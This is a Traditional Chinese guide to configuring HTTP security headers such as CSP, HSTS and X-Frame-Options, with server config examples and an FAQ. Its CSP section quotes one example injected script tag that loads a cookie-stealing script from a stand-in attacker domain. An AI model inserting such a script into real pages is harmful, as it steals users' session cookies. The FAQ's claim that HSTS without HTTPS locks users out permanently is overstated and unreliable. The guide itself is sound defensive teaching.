安全標頭完整指南：CSP、HSTS、X-Frame-Options 守護網站安全

在現代網路安全領域，開發者與網站管理員的戰場早已不再僅限於伺服器端的防火牆或資料庫加密。隨著瀏覽器技術的演進，瀏覽器本身已成為安全防禦的第一線。而「HTTP 安全標頭」（HTTP Security Headers）正是開發者與瀏覽器之間的一種「指令協議」，透過伺服器端的回應標頭，告訴瀏覽器在處理該網站內容時，應該採取哪些安全限制措施。

如果你忽略了這些標頭的配置，你的網站將暴露在 XSS（跨站腳本攻擊）、Clickjacking（點擊劫持）以及 MITM（中間人攻擊）等常見威脅之下。本文將為你提供一份安全標頭完整指南，深入解析 CSP、HSTS、X-Frame-Options 等關鍵技術，並教你如何正確配置以強化網站的防禦力。

為什麼安全標頭對網站經營至關重要？

許多人認為，只要安裝了 SSL 憑證（HTTPS），網站就是安全的。然而，HTTPS 僅解決了「傳輸過程中的加密」問題，無法防止惡意腳本在用戶瀏覽器端執行，也無法阻止攻擊者透過隱形框架（Iframe）來欺騙用戶點擊。

建立「縱深防禦」的基礎

安全領域的核心概念之一是「縱深防禦」（Defense in Depth）。單一的防禦機制（如防火牆）若被突破，整個系統就會崩潰。安全標頭提供了一層「客戶端防禦」，即使攻擊者成功繞過了伺服器的驗證邏輯，瀏覽器仍能根據標頭指令，拒絕執行惡意的 JavaScript 或加載不信任的資源。

安全性與 SEO 的隱形關聯

雖然安全標頭本身不直接影響 Google 的排名算法，但它們對「使用者體驗」與「信任度」有著巨大的影響。一個安全性極差、頻繁出現瀏覽器警告（如「此網站可能遭駭」）的網站，其跳出率（Bounce Rate）會大幅飆升。此外，隨著 Google 持續強化對 HTTPS 與安全性的要求，配置完善的安全標頭是建立品牌權威性與使用者信任的重要基石。

Content Security Policy (CSP)：防禦 XSS 的最強盾牌

Content Security Policy（內容安全政策，簡稱 CSP）是目前最強大但也最複雜的安全標頭。它的核心目標是限制瀏覽器可以從哪些來源加載資源（如 JavaScript、CSS、圖片、字體等），從而有效遏制跨站腳本攻擊（XSS）。

理解 CSP 的運作原理

在沒有 CSP 的情況下，瀏覽器會信任來自任何來源的腳本。如果攻擊者能在你的頁面中注入一段 <script src="https://evil-attacker.com/steal-cookie.js"></script>，瀏覽器會毫不猶豫地執行它。

有了 CSP，你可以定義一個「白名單」。例如，你可以告訴瀏覽器：「只允許執行來自我自己的域名（'self'）以及 Google Analytics 的腳本」。當惡意腳本試圖從第三方域名加載時，瀏覽器會直接攔截並拒絕執行。

CSP 的關鍵指令（Directives）

配置 CSP 時，你需要了解以下常見的指令：

  • default-src: 這是最基礎的指令，當其他指令未定義時，會套用此預設規則。
  • script-src: 定義 JavaScript 的來源。
  • style-src: 定義 CSS 樣式表的來源。
  • img-src: 定義圖片的來源。
  • connect-src: 限制 AJAX、WebSocket 等 API 請求的目的地。
  • frame-ancestors: 定義哪些網站可以將你的頁面嵌入到 iframe 中（這是 X-Frame-Options 的現代替代方案）。

實戰範例：如何撰寫一個安全的 CSP

以下是一個相對嚴謹且具備實用性的 CSP 配置範例：

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com; style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' data:; connect-src 'self' https://api.mysite.com; object-src 'none'; frame-ancestors 'none';

這段配置的含義如下： 1. default-src 'self': 預設情況下，只允許來自同源（Same-origin）的資源。 2. script-src 'self' https://trustedscripts.example.com: 允許執行來自自身域名及 trustedscripts.example.com 的腳本。 3. style-src 'self' https://fonts.googleapis.com: 允許使用自身的 CSS 以及 Google Fonts 的樣式。 4. img-src 'self' data:: 允許來自自身及 Base64 編碼（data:）的圖片。 5. object-src 'none': 完全禁止 Flash 或其他插件（Plugins）的載入，這是極佳的安全實踐。 6. frame-ancestors 'none': 禁止任何網站（包括自己）將此頁面嵌入 iframe。

如果你需要更深入地學習如何針對特定場景配置政策，可以參考我們的 Content Security Policy (CSP) 詳細指南。

專家建議：在正式部署 CSP 之前，請務必使用 Content-Security-Policy-Report-Only 標頭。這能讓你觀察哪些資源會被攔截，而不會直接導致網站功能失效，避免因配置錯誤造成網站「壞掉」。

HTTP Strict Transport Security (HSTS)：強制加密傳輸的關鍵

當我們談論安全性時，HTTPS 是不可或缺的。然而，攻擊者可以使用「SSL Stripping」技術，在用戶嘗試建立 HTTPS 連線前，攔截並將其降級為不安全的 HTTP 連線。HSTS 就是為了對抗這種中間人攻擊（MITM）而生的。

HSTS 的運作機制

當瀏覽器收到含有 HSTS 指令的響應時，它會記住這個指令。在接下來的一段時間內，只要用戶輸入 http://yourdomain.com 或點擊不安全的連結，瀏覽器會在發出請求前，自動在內部將其轉換為 https://。這意味著惡意的 HTTP 降級攻擊在瀏覽器層級就已經被阻斷了。

關鍵指令解析

  • max-age=<seconds>: 告訴瀏覽器在多長時間內必須強制使用 HTTPS。建議設定為一年（31536000 秒）。
  • includeSubDomains: 如果加上此指令，該規則也會套用到所有的子域名（如 blog.yourdomain.com）。
  • preload: 這是一個進階功能。你可以申請將你的域名加入到瀏覽器預載清單（HSTS Preload List）中。這樣一來，即使用戶是「第一次」訪問你的網站，瀏覽器也會直接使用 HTTPS，完全消除了第一次訪問時的漏洞窗口。

⚠️ 極其重要的警告

在啟用 HSTS 之前，請務必確保你的所有子域名都已經配置好有效的 SSL 憑證。如果你啟用了 includeSubDomains 且設定了很長的 max-age，但某天你的子域名（例如 dev.yourdomain.com）因為憑證過期無法使用 HTTPS，那麼用戶將完全無法訪問該子域名，且無法透過手動點擊「忽略警告」來進入，因為瀏覽器會強制執行安全檢查。

X-Frame-Options 與 Clickjacking：防止點擊劫持的防線

Clickjacking（點擊劫持）是一種惡意的攻擊手段，攻擊者透過將你的網站嵌入到一個透明的 <iframe> 中，覆蓋在一個看似無害的按鈕（例如「領取獎品」）之上。當用戶點擊該按鈕時，實際上是在點擊你網站上的隱藏按鈕（例如「刪除帳號」或「轉帳」）。

X-Frame-Options 的配置選項

為了防止這種情況，我們可以使用 X-Frame-Options 標頭來控制哪些網站可以嵌入我們的頁面：

  1. DENY: 完全禁止任何網站（包括你自己）將此頁面放入 iframe。這是最安全的設定。
  2. SAMEORIGIN: 只允許同源的網站進行嵌入。如果你需要讓自己的子頁面嵌入主頁面，請使用此項。
  3. ALLOW-FROM uri: (已過時) 允許特定的來源。由於現代瀏覽器對此支援度不佳，建議改用 CSP 的 frame-ancestors。

現代化的替代方案：CSP frame-ancestors

雖然 X-Frame-Options 仍然有效，但現代 Web 安全標準更推薦使用 CSP 的 frame-ancestors 指令。它比 X-Frame-Options 更靈活，可以同時指定多個允許的來源，且能與其他安全策略協同工作。

其他不可忽視的關鍵安全標頭

除了上述三大支柱，完善的安全策略還應包含以下標頭：

1. X-Content-Type-Options: nosniff

這個標頭非常簡單但極其重要。它告訴瀏覽器：「不要嘗試猜測（MIME Sniffing）檔案的類型，請嚴格遵守伺服器提供的 Content-Type」。這可以防止攻擊者將惡意的 JavaScript 偽裝成圖片檔案，並利用瀏覽器的自動偵測功能來執行攻擊。

2. Referrer-Policy

當用戶從你的網站點擊連結前往其他網站時，瀏覽器會帶上 Referer 標頭。如果你的 URL 中包含敏感資訊（如 reset-password?token=123），這會造成隱私洩漏。建議設定為 strict-origin-when-cross-origin，這能確保在跨站請求時只傳送域名，而不傳送完整的路徑與參數。

3. Permissions-Policy (原 Feature-Policy)

此標頭允許你控制瀏覽器可以使用的功能（例如：相機、麥克風、地理位置、加速度計等）。透過限制這些 API 的使用權限，即使網站被注入了惡意腳本，攻擊者也無法輕易調用使用者的硬體設備進行間諜活動。

4. CORS (Cross-Origin Resource Sharing)

雖然 CORS 主要用於處理跨來源資源的存取權限，但配置不當的 CORS 標頭會導致嚴重的安全漏洞。如果你的 CORS 設定 過於寬鬆（例如允許 Access-Control-Allow-Origin: *），可能會讓惡意網站讀取到敏感的 API 回應。

開發者與網站管理員應定期檢測網站的標頭配置是否完整且正確。你可以使用 HTTP 標頭檢測工具 來快速掃描你的網站，查看是否有遺漏或配置錯誤的標頭。

安全標頭配置對照表

標頭名稱 主要防禦目標 建議設定值 嚴重程度
Content-Security-Policy XSS, Data Injection, Clickjacking default-src 'self'; ... 極高
Strict-Transport-Security MITM, SSL Stripping max-age=31536000; includeSubDomains 極高
X-Frame-Options Clickjacking DENY 或 SAMEORIGIN 高
X-Content-Type-Options MIME Sniffing nosniff 高
Referrer-Policy 隱私洩漏 (Privacy Leak) strict-origin-when-cross-origin 中
Permissions-Policy 設備存取權限濫用 camera=(), microphone=() 中

如何檢測與實施安全標頭的最佳實踐

配置安全標頭不應該是一個「一次性」的工作，而是一個持續監控的過程。

第一步：審計與發現

在修改任何伺服器配置之前，先了解現狀。使用瀏覽器的開發者工具（F12）查看 Network 標籤下的 Response Headers，或者使用專業的線上掃描工具。檢查是否有標頭缺失，或者是否有過於寬鬆的設定（例如 script-src *）。

第二步：逐步實施 (The "Soft Launch" Approach)

對於像 CSP 這樣極易導致網站功能失效的標頭，請遵循以下步驟： 1. 使用 Report-Only 模式：先部署 Content-Security-Policy-Report-Only。 2. 監控日誌：檢查瀏覽器回報的違規（Violation）紀錄。 3. 修正策略：根據錯誤紀錄，將必要的來源（如 CDN、API 域名）加入白名單。 4. 正式切換：當沒有新的錯誤發生時，再將標頭改為正式的 Content-Security-Policy。

第三步：伺服器端配置範例

根據你使用的伺服器類型，配置方式略有不同：

Nginx 配置範例：

# 在 server 區塊內加入
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.com;" always;

Apache (.htaccess) 配置範例：

Header set X-Frame-Options "SAMEORIGIN"
Header set X-Content-Type-Options "nosniff"
Header set Referrer-Policy "strict-origin-when-cross-origin"
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"

FAQ：常見問題解答

Q1: 設定 CSP 會導致網站功能失效嗎？

是的，非常有可能。 如果你的網站依賴於第三方腳本（如廣告、字體、地圖）或內聯樣式（inline styles），而你沒有在 CSP 中明確授權這些來源，瀏覽器會直接阻擋它們，導致網站排版混亂或功能無法使用。因此，務必先使用 Report-Only 模式進行測試。

Q2: HSTS 的 max-age 建議設定多久？

業界標準建議至少設定為一年（31536000 秒）。如果你正在進行大規模的安全性升級，可以先從較短的時間（如一小時或一天）開始測試，確認沒有影響到子域名後，再逐步增加到一年。

Q3: X-Frame-Options 與 CSP frame-ancestors 重複了怎麼辦？

如果兩者同時存在，現代瀏覽器會優先遵循 frame-ancestors 的指令。然而，為了兼容舊版瀏覽器（如舊版 IE），建議同時保留 X-Frame-Options: SAMEORIGIN。

Q4: 我可以用 .htaccess 或 Nginx 設定這些標頭嗎?

可以。這正是最常見的做法。安全標頭應該在伺服器層級（Server-level）或 Web 伺服器中間件（Middleware）層級進行配置，而不是在應用程式程式碼（Application code）中逐頁撰寫，這樣才能確保全站一致性且效能最佳。

Q5: 檢查安全標頭會影響 SEO 排名嗎?

直接影響很小，但間接影響很大。完善的安全標頭能減少安全性警示，提升使用者信任度與留存率，這對搜尋引擎優化（SEO）的長期表現至關重要。

Q6: 如果我目前只有 HTTP，可以直接開啟 HSTS 嗎？

絕對不可以！ 開啟 HSTS 意味著你強制要求瀏覽器使用 HTTPS。如果你在沒有 HTTPS 的情況下開啟 HSTS，用戶將永遠無法訪問你的網站，因為瀏覽器會拒絕任何不安全的 HTTP 連線。請務必先完成 SSL 憑證的部署與測試。

結論

安全標頭（Security Headers）是網站防禦體系中成本最低、效益最高的防禦手段之一。透過正確配置 CSP、HSTS 與 X-Frame-Options，你可以為網站建立起一道堅實的防線，有效阻擋 XSS、Clickjacking 與中間人攻擊。

雖然配置過程可能涉及複雜的規則與測試，但這對於維護網站的安全性、使用者信任以及長期的 SEO 表現都具有不可替代的價值。請從現在開始，檢查你的伺服器設定，讓你的網站不再裸露在攻擊者的視線之下。